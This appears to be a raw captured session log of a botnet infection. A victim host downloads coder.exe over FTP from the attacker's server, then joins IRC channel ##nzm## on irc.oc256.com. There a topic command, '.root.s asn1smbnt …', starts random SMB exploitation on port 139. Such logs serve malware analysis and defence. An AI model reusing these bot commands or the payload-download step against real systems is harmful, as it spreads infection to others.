ATTACKER:	220 NzmxFtpd 0wns j0 
VICTIM:  	USER 1 
ATTACKER:	331 Password required 
VICTIM:  	PASS 1 
ATTACKER:	230 User logged in. 
VICTIM:  	PORT 192,168,1,241,4 
ATTACKER:	200 PORT command successful. 
ATTACKER:	RETR coder.exe 
ATTACKER:	150 Opening BINARY mode data connection 
ATTACKER:	226 Transfer complete. 
VICTIM:  	QUIT 
ATTACKER:	221 Goodbye happy r00ting. 
VICTIM:  	NICK USA|00|2K|SP2|2802570USER cszpixonu 0 0 :USA|00|2K|SP2|2802570 
ATTACKER:	:irc.oc256.com NOTICE AUTH :*** Looking up your hostname... 
ATTACKER:	:irc.oc256.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead:irc.oc256.com NOTICE USA|00|2K|SP2|2802570 :*** If you are having problems connecting due to ping timeouts, please type /quote pong B59323B9 or /raw pong B59323B9 now.PING :B59323B9 
ATTACKER:	PONG :B59323B9 
ATTACKER:	:irc.oc256.com 001 USA|00|2K|SP2|2802570 :Welcome to the oc256 IRC Network USA|00|2K|SP2|2802570!cszpixonu@192.168.1.241:irc.oc256.com 002 USA|00|2K|SP2|2802570 :Your host is irc.oc256.com, running version Unreal3.2-beta19:irc.oc256.com 003 USA|00|2K|SP2|2802570 :This server was created Sun Feb  8 18:58:31 2004:irc.oc256.com 004 USA|00|2K|SP2|2802570 irc.oc256.com Unreal3.2-beta19 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeKVfMGCuzN:irc.oc256.com 005 USA|00|2K|SP2|2802570 MAP KNOCK SAFELIST HCN MAXCHANNELS=25 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAYLEN=307 :are supported by this server:irc.oc256.com 005 USA|00|2K|SP2|2802570 WALLCHOPS WATCH=128 SILENCE=5 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSM NETWORK=oc256 CASEMAPPING=ascii :are supported by this server:irc.oc256.com 422 USA|00|2K|SP2|2802570 :MOTD File is missing:USA|00|2K|SP2|2802570 MODE USA|00|2K|SP2|2802570 :+i 
VICTIM:  	JOIN ##nzm##  
ATTACKER:	:USA|00|2K|SP2|2802570!cszpixonu@192.168.1.241 JOIN :##nzm##:irc.oc256.com 332 USA|00|2K|SP2|2802570 ##nzm## :.root.s asn1smbnt 100 5 0 130.x.x.x -a:irc.oc256.com 333 USA|00|2K|SP2|2802570 ##nzm## sobi 1251815948:irc.oc256.com 353 USA|00|2K|SP2|2802570 @ ##nzm## :USA|00|2K|SP2|2802570 @d3lux :irc.oc256.com 366 USA|00|2K|SP2|2802570 ##nzm## :End of /NAMES list. 
VICTIM:  	USERHOST USA|00|2K|SP2|2802570MODE USA|00|2K|SP2|2802570 -x+iJOIN ##nzm## USERHOST USA|00|2K|SP2|2802570MODE USA|00|2K|SP2|2802570 -x+iJOIN ##nzm## USERHOST USA|00|2K|SP2|2802570MODE USA|00|2K|SP2|2802570 -x+iJOIN ##nzm##  
ATTACKER:	:irc.oc256.com 302 USA|00|2K|SP2|2802570 :USA|00|2K|SP2|2802570=+cszpixonu@192.168.1.241    :irc.oc256.com 302 USA|00|2K|SP2|2802570 :USA|00|2K|SP2|2802570=+cszpixonu@192.168.1.241    :irc.oc256.com 302 USA|00|2K|SP2|2802570 :USA|00|2K|SP2|2802570=+cszpixonu@192.168.1.241     
VICTIM:  	PRIVMSG ##nzm## :\002n\002z\037m\037 (root.p\037l\037g) \002\273\273\002  Random Exploitation started on 130.x.x.x:139 waiting 5 seconds for 0 minutes using 100 threads.